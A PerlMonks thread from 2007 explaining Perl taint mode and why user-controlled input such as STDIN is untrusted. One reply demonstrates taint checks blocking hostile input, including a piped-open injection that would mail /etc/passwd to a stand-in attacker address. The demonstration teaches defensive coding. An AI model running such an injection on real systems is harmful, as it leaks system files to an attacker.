Re^3: Insecure dependency in open

This is when taint mode is at its most useful: you didn't realize that the security of your program depended in part on an environment variable, Perl noticed that it did, and stopped the program before it did something that might be dangerous. It forced you to find the dependency, think about whether it's a real security problem or not, and then deal with it appropriately.

If there had been an easy way to turn off taint mode, you most likely would have turned it off based on your faulty assumptions about the problem coming from symlink ownership. Instead, you found a possible bug you didn't know about, and probably made your program more secure.

And the world is safe again. TaintMode++.

--
sgifford's Web page

Comment on Re^3: Insecure dependency in open

Replies are listed 'Best First'.
Re^4: Insecure dependency in open by halley (Prior) on Jan 22, 2007 at 14:32 UTC
Furthermore, if a perl script could turn off the taint mode, then any bug in the script could be exploited to take advantage of it. "Hey, he turns off taint checking in line 93 so he can open through a symlink... that gives me an idea!" -- `[ e d @ h a l l e y . c c ]`	[reply]
Re^4: Insecure dependency in open by argv (Pilgrim) on Jan 22, 2007 at 18:31 UTC
Ok, then can you please clarify why STDIN is tainted? I'm scratchin' my head long and hard on this one? What's perl protecting me from now? Dan Heller http://www.danheller.com	[reply]
Re^5: Insecure dependency in open by ikegami (Patriarch) on Jan 22, 2007 at 18:49 UTC
Taint should be used when the caller of the script is different than the person who owns the script. setuid scripts, CGI scripts, etc. should use it. The environment, files, STDIN, command line arguments, etc are controlled by the caller and cannot be trusted. To allow the user to specify a file name (for example) could allow him to read and/or modify files to which he normally would not have access.	[reply]
Re^6: Insecure dependency in open by argv (Pilgrim) on Jan 22, 2007 at 19:21 UTC
Yes, I know the doc. I'm just asking why STDIN is part of that group, especially for `-t STDIN`. Dan Heller http://www.danheller.com	[reply] [d/l]
Re^7: Insecure dependency in open by ikegami (Patriarch) on Jan 22, 2007 at 20:17 UTC
Re^5: Insecure dependency in open by Fletch (Bishop) on Jan 22, 2007 at 19:54 UTC
It's dangerous because it comes from a dirty, untrustworthy, malicious creature (i.e. the user). They can feed in anything they want on STDIN: $ perl -T -le 'chomp(my $foo = <STDIN>);unlink( $foo ) or die "unlink: + $!\n";' /etc/passwd Insecure dependency in unlink while running with -T switch at -e line +1, <STDIN> line 1. $ perl -T -le '$ENV{PATH}="/bin:/usr/bin"; chomp(my $foo = <STDIN>);op +en( FOO, $foo ) or die "unlink: $!\n";' mail blackhat@evilhaxor.org -s `uname -n` < /etc/passwd ; cat /dev/nul +l \| Insecure dependency in piped open while running with -T switch at -e l +ine 1, <STDIN> line 1. [download] If you want to allow this, you have to explicitly validate (by means of some form of untainting) the input; and on your head be it if you do it wrong. Update: And as to your question about `-t STDIN`, that shouldn't be a problem because it's testing a property of the handle not using any input from the handle. `$ perl -T -le 'print "tty" if -t STDIN' tty` [download]	[reply] [d/l] [select]
Re^6: Insecure dependency in open by argv (Pilgrim) on Jan 22, 2007 at 22:07 UTC
Whoops! Completely disregard this post. I thought at the time that perl wasn't even letting me read from STDIN but it is. That changes my recently follow-up question thread, which can now be discarded. (I thought perl wasn't letting me set a variable from STDIN.). Mea culpa. More later... Dan Heller http://www.danheller.com	[reply]
Re^7: Insecure dependency in open by ikegami (Patriarch) on Jan 22, 2007 at 22:27 UTC